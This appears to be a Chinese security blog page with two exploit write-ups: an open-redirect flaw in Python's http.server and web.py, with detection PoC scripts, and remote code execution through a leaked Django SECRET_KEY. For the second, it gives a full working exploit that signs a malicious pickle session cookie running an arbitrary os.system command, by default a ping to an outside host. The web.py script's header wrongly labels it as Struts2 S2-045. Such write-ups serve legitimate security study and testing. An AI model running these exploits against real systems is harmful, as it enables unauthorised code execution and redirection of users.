2018年2月

安全情报

安全情报感知小密圈

  • 信息安全情报
  • 深网暗网情报
  • 前沿安全技术
  • 业务安全风控
  • 漏洞威胁感知
  • 数据泄露事件

微信扫描二维码加入小密圈:

xiaomiquan

Python http.server和web.py的URL跳转漏洞实践

0x01 前言

看了Phithon的文章,分析了2个Python的web服务器中的URL跳转漏洞,自己也尝试跟着思路理一理。

0x02 函数的本意

这个函数的本意是:

判断当前请求的url中的path(也就是本例中的“email”)是不是一个存在的路径,如果是则通过301重定向到

email/ 这是其他web服务器都具有的一个正常操作。

http://127.0.0.1:8000/email

会自动跳转到

http://127.0.0.1:8000/email/

可以通过浏览器正常访问试一试,正常的web服务器都会这样跳转。

正常的请求.png

通过断点调试看到的信息(关于调试给SimpleHTTPServer.py下断点,方法和给自己的代码下断点一样,因为它里面直接有一个测试函数,可以直接运行SimpleHTTPServer.py来启动一个web服务器):

本来的功能.png

0x03 单斜杠和双斜杠对于ulrparse.urlsplit()

从phithon的文章中可以看出,要实现URL的跳转的一个关键是浏览器把双斜杠后面的内容当作域名。

我们在BurpSuite中试试,发现能通过可以构造出带双斜杠的Location返回(如下图)。

双斜杠的差异.png

继续在代码中加断点中看看,可以看出,当请求的url是单斜杠时(如上图下半部分),email是被认为是path,当是双斜杠时却被认为是netloc。个人认为这是http.server和其他web服务器所不同的地方(比如nginx,自己试过,访问http://www.polaris-lab.com/img 和访问http://www.polaris-lab.com//img 的结果都是一样的,说明这2个请求中,img都被认为是path)。

yyy.png

可以看出,关键是urlparse.urlsplit()函数导致的。

urlsplit.png

再验证一下上面提到的nginx中是否可以构造出带双斜杠的Location。结果表明不行,所以,这个漏洞之所以成立的一个前提条件就是:使用了urlparse.urlsplit()来解析path导致可以构造出双斜杠的Location返回,否则这个漏洞将不成立。(所以修复方案是否可以朝着这个思路来?)

nginx.png

0x04 为什么需要%2f..

如果是:

http://127.0.0.1:8000//example.com//..

最后的/..将被浏览器处理,根本发送不到服务器端,发送到服务端的请求将是(可以抓包验证一下),

http://127.0.0.1:8000//example.com/

想要发送到服务器端,就必须对/进行URL编码,即:

http://127.0.0.1:8000//example.com/%2f..

而到了服务器端,这个//example.com/%2f..将被translate_path()函数处理,会先进行url解码然后转换为系统路径

translatepath.png

解码后的内容为//example.com//..也就是当前路径了。

translatepath1.png

0x05 PoC脚本

以上基本理清了PoC中的一些关键点,附上自动化检测脚本,可直接用于POC-T。

http.server open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
paylaod: http://127.0.0.1:8000//example.com/%2f%2e%2e
测试状态:成功
'''

import requests
import urlparse
import sys

def poc(url):
    x = urlparse.urlparse(url)
    target = "{0}://{1}".format(x.scheme,x.netloc)

    payload = "{0}//example.com/%2f%2e%2e".format(target)

    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

web.py open redirect的PoC:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

'''
漏洞名称:Struts2漏洞S2-045
实验环境:VulApps/s/struts2/s2-045
参考链接:https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
测试状态:
'''

import requests
import urlparse
import sys
import urllib

'''
payload: http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
https://www.leavesongs.com/PENETRATION/python-http-server-open-redirect-vulnerability.html
说明:根据p神的文章,是只有处理静态文件的代码是继承了SimpleHTTPRequestHandler类,才会受到影响
所以,这里的提供的url,最好是静态文件的url,比如 js、css、图片的完整url。
'''


'''
#
import web

urls = (
    '/(.*)', 'hello'
)
app = web.application(urls, globals())

class hello:
    def GET(self, name):
        if not name:
            name = 'World'
        return 'Hello, ' + name + '!'

if __name__ == "__main__":
    app.run()
'''


def poc(url):
    print("you should provide a static resoure url, like js|css|image")
    x = urlparse.urlparse(url)
    path_list = x.path.split("/")
    path_list.pop()
    path_list.remove("")
    path_list.append("")# list是有序的
    path= "%2f".join(path_list)
    #path = urllib.quote(path)
    #print(path)
    target = "{0}://{1}".format(x.scheme,x.netloc)
    #http://127.0.0.1:8080////static%2fcss%2f@www.example.com/..%2f
    payload = "{0}////{1}@www.example.com/..%2f".format(target,path)
    print(payload)
    response = requests.get(payload,allow_redirects=False,timeout=3,verify=False)

    if response.status_code ==301:
        try:
            location = response.headers["Location"]
            if "example.com" in location:
                return True
            else:
                return False
        except:
            return False
            pass

if __name__ == "__main__":
    print poc(sys.argv[1])

0x06 参考

Django的Secret Key泄漏导致的命令执行实践

0x01 Secret Key的用途和泄漏导致的攻击面

Secret Key主要用于加密、签名,下面是官方文档的说明:

The secret key is used for:

  • All sessions if you are using any other session backend thandjango.contrib.sessions.backends.cache, or are using thedefaultget_session_auth_hash().
  • All messages if you are using CookieStorage orFallbackStorage.
  • All PasswordResetView tokens.
  • Any usage of cryptographic signing, unless a different key is provided.

Secret Key泄漏可能的攻击面:

  • 远程代码执行,如果使用了cookie-based sessions。当然其他可以操作session_data的问题都可能导致
  • 任意密码重置,contrib.auth.token.
  • CSRF
  • ...

我们主要关注远程代码执行这个点。

0x02 Django Session的几种方式

  • 数据库(database-backed sessions)

如下图,session的key和data都是存储在sqlite数据库中的,这是默认的设置,当用户带着cookie来请求服务端时,cookie中包含的是session_key,服务端会根据这个session_key来查询数据库,从而获取到session_data。就是说session_data是存在服务端的。

cooke_session.png

  • 缓存(cached sessions)
  • 文件系统(file-based sessions)
  • Cookie(cookie-based sessions)

当Django使用了这种方式的时候,和其它几种方式不同的是,它将session_data也是存在于cookie中的,即存在于客户端的。但它是经过签名的,签名依赖于django 的Secret Key,所以如果我们知道了Secret Key将可能修改session_data。这也是我们将要讨论的重点。

0x03 环境准备

关于通过操作session来实现命令执行有一个很好的案例。在学习Pickle反序列化的时候就看过,其中的关键是Django在取得session_data之后,需要进行反序列化操作才能获取其中的数据。所以,如果能有机会操作session_data,就有可能导致代码执行。

而我们这里关注的是Secret Key泄漏的情况,它有2个关键点:

  1. 使用了cookie-based sessions
  2. 使用了serializers.PickleSerializer

注:Django1.5级以下,session默认是采用pickle执行序列号操作django.contrib.sessions.serializers.PickleSerializer;在1.6 及以上版本默认采用json序列化。django.contrib.sessions.serializers.JSONSerializer

Djgano测试环境部署:

#命令行下运行如下命令来创建项目
django-admin startproject testproject

#在项目中创建应用
cd testproject
python manage.py startapp testapp

#在setting.py中新增SESSION_ENGINE和SESSION_SERIALIZER配置。这是漏洞存在的必要条件!
SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies'
#SESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'
SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
#因为我的环境中使用的Django1.11,默认使用的是JSONSerializer,所以需要配置这一条。

urls.py的内容如下:

from django.conf.urls import url
from django.contrib import admin
from testapp import views

urlpatterns = [
    url(r'.*$', views.index),
    url(r'^admin/', admin.site.urls),
]

views.py中的内容如下:

# -*- coding: utf-8 -*-
from __future__ import unicode_literals

from django.shortcuts import render
from django.http import HttpResponse

# Create your views here.
def index(request):
    x= request.session
    print x.values
    print dir(x)
    print x.serializer
    print x['userid'] #这一句是关键,需要有尝试从session中取数据的行为,django才会去执行反序列
    return HttpResponse(x)

注意:必须要有尝试从session中取数据的行为,Django才会去执行反序列,否则将不能触发!所以实际的环境中,最好选择用户信息相关接口等一定会取数据的接口进行测试。

以上就完成了环境的准备,运行python manage.py runserver启动服务。

0x04 PoC及验证

关于Pickle PoC的生成方法,可以参考我之前的文章Python Pickle的任意代码执行漏洞实践和Payload构造

poc.py的内容如下:

# !/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'bit4'
__github__ = 'https://github.com/bit4woo'

import os
import requests
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import pickle

def session_gen(SECRET_KEY,command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link',):
    class Run(object):
        def __reduce__(self):
            #return (os.system,('ping test.0y0.link',))
            return (os.system,(command,))

    #SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    SECRET_KEY = SECRET_KEY

    sess = signing.dumps(Run(), key = SECRET_KEY,serializer=PickleSerializer,salt='django.contrib.sessions.backends.signed_cookies')
    #生成的恶意session
    print sess


    '''
    salt='django.contrib.sessions.backends.signed_cookies'
    sess = pickle.dumps(Run())
    sess = signing.b64_encode(sess)#通过跟踪signing.dumps函数可以知道pickle.dumps后的数据还经过了如下处理。
    sess = signing.TimestampSigner(key=SECRET_KEY, salt=salt).sign(sess)
    print sess
    #这里生成的session也是可以成功利用的,这样写只是为了理解signing.dumps。
    '''

    session = 'sessionid={0}'.format(sess)
    return session

def exp(url,SECRET_KEY,command):

    headers = {'Cookie':session_gen(SECRET_KEY,command)}
    proxy = {"http":"http://127.0.0.1:8080"}#设置为burp的代理方便观察请求包
    response = requests.get(url,headers= headers,proxies = proxy)
    #print response.content

if __name__ == '__main__':
    url = 'http://127.0.0.1:8000/'
    SECRET_KEY = '1bb8)i&dl9c5=npkp248gl&aji7^x6izh3!itsmb6&yl!fak&f'
    command = 'ping -n 3 test.0y0.link || ping -c test.0y0.link'
    exp(url,SECRET_KEY,command)

运行poc.py时,后台的输出结果:

success.png

print x['userid']对应了2个动作,一是反序列化,也就是执行系统命令的关键;二是取值,这里是取值失败打印了错误信息,但是这已经不重要了,因为我们已经实现了我们的目的。

PoC脚本最好使用原生的库或者方法来进行其中的payload生成操作。比如上面的poc.py中,可以使用signing.dumps,也可单独使用pickle.dumps然后加上其他操作,但是最好使用第一种,这样可以很好地保证Payload的正确性。而且实际的环境中,如果能获取到目标的具体版本,最好通过配置相应版本的环境来完成PoC的生成。

本文环境和代码的下载地址:

0x05 参考